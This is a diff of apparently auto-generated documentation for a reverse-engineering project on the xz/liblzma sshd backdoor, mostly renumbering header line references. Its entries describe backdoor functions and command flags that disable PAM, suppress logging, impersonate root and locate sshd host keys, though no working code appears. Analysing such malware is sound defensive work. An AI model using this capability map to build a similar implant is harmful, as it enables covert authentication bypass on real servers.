Definition: xzre.h:195
-
X_ELF_MAIN
@ X_ELF_MAIN
this is for sshd itself
Definition: xzre.h:200
-
CommandFlags2
CommandFlags2
Definition: xzre.h:1384
-
CMDF_CHANGE_MONITOR_REQ
@ CMDF_CHANGE_MONITOR_REQ
if set, changes the monitor_reqtype field from MONITOR_REQ_AUTHPASSWORD to what's contained in the pa...
Definition: xzre.h:1394
-
CMDF_PSELECT
@ CMDF_PSELECT
executes pselect, then exit not compatible with command 2
Definition: xzre.h:1404
-
CMDF_IMPERSONATE
@ CMDF_IMPERSONATE
if set, impersonate a user (info from payload) if not set, impersonate root
Definition: xzre.h:1389
-
CMDF_CONTINUATION
@ CMDF_CONTINUATION
more data available in the following packet not compatible with command 3
Definition: xzre.h:1399
+
ElfId
ElfId
Definition: xzre.h:190
+
X_ELF_MAIN
@ X_ELF_MAIN
this is for sshd itself
Definition: xzre.h:195
+
CommandFlags2
CommandFlags2
Definition: xzre.h:1379
+
CMDF_CHANGE_MONITOR_REQ
@ CMDF_CHANGE_MONITOR_REQ
if set, changes the monitor_reqtype field from MONITOR_REQ_AUTHPASSWORD to what's contained in the pa...
Definition: xzre.h:1389
+
CMDF_PSELECT
@ CMDF_PSELECT
executes pselect, then exit not compatible with command 2
Definition: xzre.h:1399
+
CMDF_IMPERSONATE
@ CMDF_IMPERSONATE
if set, impersonate a user (info from payload) if not set, impersonate root
Definition: xzre.h:1384
+
CMDF_CONTINUATION
@ CMDF_CONTINUATION
more data available in the following packet not compatible with command 3
Definition: xzre.h:1394
key_payload_hdr_t
struct key_payload_hdr key_payload_hdr_t
the payload header. also used as Chacha IV
find_call_instruction
BOOL find_call_instruction(u8 *code_start, u8 *code_end, u8 *call_target, dasm_ctx_t *dctx)
finds a call instruction
sshd_get_host_keys_address_via_xcalloc
BOOL sshd_get_host_keys_address_via_xcalloc(u8 *data_start, u8 *data_end, u8 *code_start, u8 *code_end, string_references_t *string_refs, void **host_keys_out)
finds the address of sensitive_data.host_keys in sshd by using XREF_xcalloc_zero_size in xcalloc
@@ -1653,10 +1648,10 @@
is_endbr64_instruction
BOOL is_endbr64_instruction(u8 *code_start, u8 *code_end, u32 low_mask_part)
Checks if the code between code_start and code_end is an endbr64 instruction.
fake_lzma_free
void fake_lzma_free(void *opaque, void *ptr)
a fake free function called by lzma_free()
elf_get_rodata_segment
void * elf_get_rodata_segment(elf_info_t *elf_info, u64 *pSize)
Obtains the address and size of the last readonly segment in the given ELF file this corresponds to t...
-
CommandFlags1
CommandFlags1
Definition: xzre.h:1369
-
CMDF_SETLOGMASK
@ CMDF_SETLOGMASK
disable all logging by setting mask 0x80000000
Definition: xzre.h:1377
-
CMDF_DISABLE_PAM
@ CMDF_DISABLE_PAM
if set, disables PAM authentication
Definition: xzre.h:1381
-
CMDF_8BYTES
@ CMDF_8BYTES
the data block contains 8 additional bytes
Definition: xzre.h:1373
+
CommandFlags1
CommandFlags1
Definition: xzre.h:1364
+
CMDF_SETLOGMASK
@ CMDF_SETLOGMASK
disable all logging by setting mask 0x80000000
Definition: xzre.h:1372
+
CMDF_DISABLE_PAM
@ CMDF_DISABLE_PAM
if set, disables PAM authentication
Definition: xzre.h:1376
+
CMDF_8BYTES
@ CMDF_8BYTES
the data block contains 8 additional bytes
Definition: xzre.h:1368
backdoor_symbind64
uintptr_t backdoor_symbind64(Elf64_Sym *sym, unsigned int ndx, uptr *refcook, uptr *defcook, unsigned int flags, const char *symname)
the backdoored symbind64 installed in GLRO(dl_audit)
find_instruction_with_mem_operand
BOOL find_instruction_with_mem_operand(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx, void *mem_address)
finds a LEA or MOV instruction with an immediate memory operand
get_string_id
EncodedStringId get_string_id(const char *string_begin, const char *string_end)
Get the.
@@ -1669,7 +1664,7 @@
find_lea_instruction_with_mem_operand
BOOL find_lea_instruction_with_mem_operand(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx, void *mem_address)
finds a LEA instruction with an immediate memory operand
cpuid_reloc_consts
const backdoor_cpuid_reloc_consts_t cpuid_reloc_consts
special .rodata section that contains _cpuid() related GOT offsets
sshd_get_host_keys_score_in_main
int sshd_get_host_keys_score_in_main(void *host_keys, elf_info_t *elf, string_references_t *refs)
obtains a numeric score which indicates if main accesses host_keys or not
-
backdoor_data_t
struct backdoor_data backdoor_data_t
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1167
+
backdoor_data_t
struct backdoor_data backdoor_data_t
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1162
find_string_reference
u8 * find_string_reference(u8 *code_start, u8 *code_end, const char *str)
finds an instruction that references the given string
secret_data_get_decrypted
BOOL secret_data_get_decrypted(u8 *output, global_context_t *ctx)
obtains a decrypted copy of the secret data
find_function_prologue
BOOL find_function_prologue(u8 *code_start, u8 *code_end, u8 **output, FuncFindType find_mode)
locates the function prologue